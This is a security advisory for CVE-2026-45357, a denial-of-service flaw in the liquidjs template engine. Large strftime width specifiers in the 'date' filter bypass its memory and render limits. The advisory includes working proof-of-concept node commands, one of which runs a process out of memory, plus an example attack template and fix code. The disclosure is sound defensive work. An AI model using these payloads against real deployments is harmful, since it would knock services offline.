CVE-2026-45357
Published:June 05, 2026
Updated:June 05, 2026
Summary The "date" filter's strftime implementation parses width specifiers like "%9999999d" and forwards the captured width unchecked into "pad()"/"padStart()" in "src/util/underscore.ts". The pad loop performs unbounded string concatenation without consulting the Context's "memoryLimit" or "renderLimit", so a single small template ("{{ x | date: '%5000000d' }}") produces megabytes of output and unbounded CPU. The "memoryLimit" and "renderLimit" options the docs ("src/liquid-options.ts:87-92") advertise as DoS controls — and which the docstring explicitly mentions for "strftime" — are entirely bypassed. Details "date.ts:5-13" only charges "memoryLimit" for the lengths of the input value, format string, and timezone: export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) { const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0) this.context.memoryLimit.use(size) ... return strftime(date, format) } "strftime" ("src/util/strftime.ts:121") then walks the format with "rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/". The captured "width" group is passed directly to "padStart": function format (d, match) { const [input, flagStr = '', width, modifier, conversion] = match ... let padWidth = width || padWidths[conversion] || 0 ... return padStart(ret, padWidth, padChar) // strftime.ts:147 } "padStart" calls "pad()" in "src/util/underscore.ts:153": export function pad (str, length, ch, add) { str = String(str) let n = length - str.length while (n-- > 0) str = add(str, ch) // unbounded loop return str } The loop has no upper bound and never consults "this.context.memoryLimit" or "renderLimit". The pad is also implemented as repeated "ch + str" string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption. Filter arguments accept context-evaluated values ("src/template/filter.ts:30-31", "evalToken(arg, context)"), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input. This is a separate sink from the previously-reported quadratic "replace" finding: a different filter ("date"), a different parser (the strftime width regex), and a different concatenation site ("pad()" in "underscore.ts"). PoC Setup: "npm install liquidjs@10.25.7". Step 1 — bypass "memoryLimit" and "renderLimit" (5 MB output, ~200 ms, both limits set to 50): node -e " const { Liquid } = require('liquidjs'); const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 }); const t0 = Date.now(); const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' }); console.log('len=', out.length, 'ms=', Date.now()-t0); " Verified output: "len= 5000000 ms= 198". The "memoryLimit:50" (50-byte budget) and "renderLimit:50" (50 ms budget) are both ignored. Step 2 — OOM-kill the Node process under a 200 MB heap cap: node --max-old-space-size=200 -e " const { Liquid } = require('liquidjs'); const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 }); liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' }); " Verified output: "FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory". Process is killed. The realistic attack template is "{{ post.created_at | date: user_supplied_format }}", where "user_supplied_format" is any context value an attacker can influence (profile field, query param mapped into template context, etc.). Impact - DoS against any LiquidJS-rendered surface where a context value reaches the "date" filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process. - Bypass of the engine's two documented DoS controls — "memoryLimit" and "renderLimit" — meaning that operators who explicitly opted into DoS protection still have no defense for this code path. - All "date_to_xmlschema", "date_to_rfc822", "date_to_string", "date_to_long_string" paths share the same sink via "strftime", but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on "date". Recommended Fix Two complementary fixes: 1. Have "pad()" in "src/util/underscore.ts" charge the Context's memory limit and use "String.prototype.repeat" instead of an O(n) concatenation loop. Since "pad()" is generic, the simplest version takes the memory limit as a parameter: export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) { str = String(str) const n = length - str.length if (n <= 0) return str return add === ((s, c) => c + s) ? ch.repeat(n) + str : str + ch.repeat(n) } 2. Cap "padWidth" in "src/util/strftime.ts:141" and account for it via "memoryLimit". The "date" filter ("src/filters/date.ts") should also charge "this.context.memoryLimit.use(parsedMaxWidth)" before invoking "strftime", e.g. by scanning the format for "%(\d+)" widths and summing them. A conservative cap (e.g. "Math.min(width, 1024)" for non-"N" conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use. Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.
Affected Packages
liquidjs (CDN_JS):
Affected version(s) >=10.8.0 <10.26.0Fix Suggestion:
Update to version 10.26.0https://github.com/harttle/liquidjs.git (GITHUB):
Affected version(s) >=v1.2.0 <v10.26.0Fix Suggestion:
Update to version v10.26.0liquidjs (NPM):
Affected version(s) >=1.9.1 <10.26.0Fix Suggestion:
Update to version 10.26.0Related Resources (2)
Do you need more information?
Contact UsCVSS v4
Base Score:
8.7
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
NONE
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
7.5
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
NONE
Availability
HIGH
Weakness Type (CWE)
Uncontrolled Resource Consumption